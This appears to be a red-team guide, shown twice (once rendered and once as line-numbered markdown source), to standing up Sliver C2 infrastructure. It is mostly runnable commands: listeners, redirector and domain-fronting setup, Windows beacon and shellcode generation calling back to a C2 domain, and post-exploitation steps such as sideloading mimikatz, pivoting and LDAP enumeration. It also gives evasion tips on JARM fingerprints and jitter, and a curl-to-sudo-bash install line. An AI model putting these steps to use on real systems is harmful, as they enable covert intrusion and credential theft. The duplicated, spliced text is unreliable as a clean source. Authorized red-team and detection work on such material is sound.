Building C2 Infrastructure with Sliver Framework
Overview
Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.
When to Use
- When deploying or configuring building c2 infrastructure with sliver framework capabilities in your environment
- When establishing security controls aligned to compliance requirements
- When building or improving security architecture for this domain
- When conducting security assessments that require this implementation
Most Often Missed & How to Confirm
- Default C2 profile left intact. Operators ship implants on Sliver's stock HTTP C2 config (default URIs, headers, and poll paths) — fingerprintable. Customize the C2 profile (
profiles / c2profiles) and randomize URIs before generating.
- Unmodified TLS/JARM fingerprint. Sliver's default mTLS and HTTPS listeners have a known JARM hash. Front with a real cert + redirector and validate JARM differs from the published default.
- No kill date or canary. Implants without
--kill dates and DNS/file canaries linger and burn infra. Set them at generate time.
- Skipping egress-representative testing. Listener "works" from the operator box but dies behind proxy/TLS-inspection on the target egress.
- Redirector not dropping non-matching paths. Unmatched requests should 302 to a decoy, not proxy through.
- How to confirm: beacon actually checks in —
beacons shows the Last Check-in timestamp advancing, use <id> opens an interactive session, and ps/netstat return live data. OPSEC check: run jarm against your own listener and curl an unmatched path on the redirector to confirm the decoy response. Don't conclude the infrastructure is dead until you have detonated a test implant from a host on a representative egress network, not just the team server LAN.
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Deploy a Sliver team server on hardened cloud infrastructure
- Configure HTTPS, mTLS, DNS, and WireGuard listeners
- Generate implants (beacons and sessions) for target platforms
- Set up NGINX or Apache redirectors between implants and the team server
- Implement Cloudflare or CDN-based domain fronting for traffic obfuscation
- Configure multi-operator access with certificate-based authentication
- Establish operational security controls for C2 communications
MITRE ATT&CK Mapping
- T1071.001 - Application Layer Protocol: Web Protocols
- T1071.004 - Application Layer Protocol: DNS
- T1573.002 - Encrypted Channel: Asymmetric Cryptography
- T1090.002 - Proxy: External Proxy (Redirectors)
- T1105 - Ingress Tool Transfer
- T1132.001 - Data Encoding: Standard Encoding
- T1572 - Protocol Tunneling
Workflow
Phase 1: Team Server Deployment
- Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server
- Harden the OS: disable SSH password auth, configure UFW/iptables, install fail2ban
- Install Sliver using the official install script:
curl https://sliver.sh/install | sudo bash
- Start the Sliver server daemon:
systemctl start sliver
# Or run interactively
sliver-server
- Generate operator configuration files for team members:
new-operator --name operator1 --lhost <team-server-ip>
Phase 2: Listener Configuration
- Configure an HTTPS listener with a legitimate SSL certificate:
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
- Configure a DNS listener for fallback C2:
dns --domains c2dns.example.com --lport 53
- Configure mTLS listener for high-security sessions:
mtls --lhost 0.0.0.0 --lport 8888
- Configure WireGuard listener for tunneled access:
wg --lport 51820
Phase 3: Redirector Setup
- Deploy a separate VPS as a redirector (positioned between targets and team server)
- Install and configure NGINX as a reverse proxy:
server {
listen 443 ssl;
server_name c2.example.com;
ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
location / {
proxy_pass https://<team-server-ip>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
- Configure iptables rules on the team server to only accept connections from the redirector:
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
- Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting
Phase 4: Implant Generation
- Generate an HTTPS beacon implant:
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
- Generate a DNS beacon for restricted networks:
generate beacon --dns c2dns.example.com --os windows --arch amd64
- Generate a shellcode payload for injection:
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
- Configure beacon jitter and callback intervals:
generate beacon --http https://c2.example.com --seconds 60 --jitter 30
Phase 5: Post-Exploitation Operations
- Interact with active beacons/sessions:
beacons # List active beacons
use <beacon-id> # Interact with a beacon
- Execute post-exploitation modules:
ps # Process listing
netstat # Network connections
execute-assembly /path/to/Seatbelt.exe -group=all # Run .NET assemblies
sideload /path/to/mimikatz.dll # Load DLLs
- Set up pivots for internal network access:
pivots tcp --bind 0.0.0.0:9898 # Create pivot listener on compromised host
- Use BOF (Beacon Object Files) for in-memory execution:
armory install sa-ldapsearch # Install from armory
sa-ldapsearch -- "(objectClass=user)" # Execute BOF
Tools and Resources
| Tool |
Purpose |
Platform |
| Sliver Server |
C2 team server and implant management |
Linux/macOS/Windows |
| Sliver Client |
Operator console for team members |
Cross-platform |
| NGINX |
Redirector and reverse proxy |
Linux |
| Certbot |
Let's Encrypt SSL certificate generation |
Linux |
| Cloudflare |
CDN and domain fronting |
Cloud |
| Armory |
Sliver extension/BOF package manager |
Built-in |
Detection Signatures
| Indicator |
Detection Method |
| Default Sliver HTTP headers |
Network traffic analysis for unusual User-Agent strings |
| mTLS on non-standard ports |
Firewall logs for outbound connections to unusual ports |
| DNS TXT record queries with high entropy |
DNS log analysis for encoded C2 traffic |
| WireGuard UDP traffic on port 51820 |
Network flow analysis for WireGuard handshake patterns |
| Sliver implant file hashes |
EDR/AV signature matching against known Sliver samples |
Validation Criteria
1---2name: building-c2-infrastructure-with-sliver-framework3description: Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator support for authorized red team engagements.4license: Apache-2.05---6# Building C2 Infrastructure with Sliver Framework78## Overview910Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.111213## When to Use1415- When deploying or configuring building c2 infrastructure with sliver framework capabilities in your environment16- When establishing security controls aligned to compliance requirements17- When building or improving security architecture for this domain18- When conducting security assessments that require this implementation1920## Most Often Missed & How to Confirm2122- **Default C2 profile left intact.** Operators ship implants on Sliver's stock HTTP C2 config (default URIs, headers, and poll paths) — fingerprintable. Customize the C2 profile (`profiles` / `c2profiles`) and randomize URIs before generating.23- **Unmodified TLS/JARM fingerprint.** Sliver's default mTLS and HTTPS listeners have a known JARM hash. Front with a real cert + redirector and validate JARM differs from the published default.24- **No kill date or canary.** Implants without `--kill` dates and DNS/file canaries linger and burn infra. Set them at generate time.25- **Skipping egress-representative testing.** Listener "works" from the operator box but dies behind proxy/TLS-inspection on the target egress.26- **Redirector not dropping non-matching paths.** Unmatched requests should 302 to a decoy, not proxy through.27- **How to confirm:** beacon actually checks in — `beacons` shows the Last Check-in timestamp advancing, `use <id>` opens an interactive session, and `ps`/`netstat` return live data. OPSEC check: run `jarm` against your own listener and `curl` an unmatched path on the redirector to confirm the decoy response. Don't conclude the infrastructure is dead until you have detonated a test implant from a host on a representative egress network, not just the team server LAN.2829## Prerequisites3031- Familiarity with red teaming concepts and tools32- Access to a test or lab environment for safe execution33- Python 3.8+ with required dependencies installed34- Appropriate authorization for any testing activities3536## Objectives3738- Deploy a Sliver team server on hardened cloud infrastructure39- Configure HTTPS, mTLS, DNS, and WireGuard listeners40- Generate implants (beacons and sessions) for target platforms41- Set up NGINX or Apache redirectors between implants and the team server42- Implement Cloudflare or CDN-based domain fronting for traffic obfuscation43- Configure multi-operator access with certificate-based authentication44- Establish operational security controls for C2 communications4546## MITRE ATT&CK Mapping4748- **T1071.001** - Application Layer Protocol: Web Protocols49- **T1071.004** - Application Layer Protocol: DNS50- **T1573.002** - Encrypted Channel: Asymmetric Cryptography51- **T1090.002** - Proxy: External Proxy (Redirectors)52- **T1105** - Ingress Tool Transfer53- **T1132.001** - Data Encoding: Standard Encoding54- **T1572** - Protocol Tunneling5556## Workflow5758### Phase 1: Team Server Deployment591. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server602. Harden the OS: disable SSH password auth, configure UFW/iptables, install fail2ban613. Install Sliver using the official install script:62 ```bash63 curl https://sliver.sh/install | sudo bash64 ```654. Start the Sliver server daemon:66 ```bash67 systemctl start sliver68 # Or run interactively69 sliver-server70 ```715. Generate operator configuration files for team members:72 ```bash73 new-operator --name operator1 --lhost <team-server-ip>74 ```7576### Phase 2: Listener Configuration771. Configure an HTTPS listener with a legitimate SSL certificate:78 ```bash79 https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem80 ```812. Configure a DNS listener for fallback C2:82 ```bash83 dns --domains c2dns.example.com --lport 5384 ```853. Configure mTLS listener for high-security sessions:86 ```bash87 mtls --lhost 0.0.0.0 --lport 888888 ```894. Configure WireGuard listener for tunneled access:90 ```bash91 wg --lport 5182092 ```9394### Phase 3: Redirector Setup951. Deploy a separate VPS as a redirector (positioned between targets and team server)962. Install and configure NGINX as a reverse proxy:97 ```nginx98 server {99 listen 443 ssl;100 server_name c2.example.com;101 ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;102 ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;103104 location / {105 proxy_pass https://<team-server-ip>:443;106 proxy_ssl_verify off;107 proxy_set_header Host $host;108 proxy_set_header X-Real-IP $remote_addr;109 }110 }111 ```1123. Configure iptables rules on the team server to only accept connections from the redirector:113 ```bash114 iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT115 iptables -A INPUT -p tcp --dport 443 -j DROP116 ```1174. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting118119### Phase 4: Implant Generation1201. Generate an HTTPS beacon implant:121 ```bash122 generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload123 ```1242. Generate a DNS beacon for restricted networks:125 ```bash126 generate beacon --dns c2dns.example.com --os windows --arch amd64127 ```1283. Generate a shellcode payload for injection:129 ```bash130 generate --http https://c2.example.com --os windows --arch amd64 --format shellcode131 ```1324. Configure beacon jitter and callback intervals:133 ```bash134 generate beacon --http https://c2.example.com --seconds 60 --jitter 30135 ```136137### Phase 5: Post-Exploitation Operations1381. Interact with active beacons/sessions:139 ```bash140 beacons # List active beacons141 use <beacon-id> # Interact with a beacon142 ```1432. Execute post-exploitation modules:144 ```bash145 ps # Process listing146 netstat # Network connections147 execute-assembly /path/to/Seatbelt.exe -group=all # Run .NET assemblies148 sideload /path/to/mimikatz.dll # Load DLLs149 ```1503. Set up pivots for internal network access:151 ```bash152 pivots tcp --bind 0.0.0.0:9898 # Create pivot listener on compromised host153 ```1544. Use BOF (Beacon Object Files) for in-memory execution:155 ```bash156 armory install sa-ldapsearch # Install from armory157 sa-ldapsearch -- "(objectClass=user)" # Execute BOF158 ```159160## Tools and Resources161162| Tool | Purpose | Platform |163|------|---------|----------|164| Sliver Server | C2 team server and implant management | Linux/macOS/Windows |165| Sliver Client | Operator console for team members | Cross-platform |166| NGINX | Redirector and reverse proxy | Linux |167| Certbot | Let's Encrypt SSL certificate generation | Linux |168| Cloudflare | CDN and domain fronting | Cloud |169| Armory | Sliver extension/BOF package manager | Built-in |170171## Detection Signatures172173| Indicator | Detection Method |174|-----------|-----------------|175| Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings |176| mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports |177| DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic |178| WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns |179| Sliver implant file hashes | EDR/AV signature matching against known Sliver samples |180181## Validation Criteria182183- [ ] Team server deployed and hardened with firewall rules184- [ ] HTTPS listener configured with valid SSL certificate185- [ ] DNS listener configured as fallback C2 channel186- [ ] At least one redirector deployed between targets and team server187- [ ] Multi-operator access configured with unique certificates188- [ ] Implants generated for target operating systems189- [ ] Beacon callback intervals and jitter configured for stealth190- [ ] Post-exploitation modules tested (process listing, .NET assembly execution)191- [ ] Pivot functionality validated for internal network access192- [ ] All C2 traffic encrypted and passing through redirectors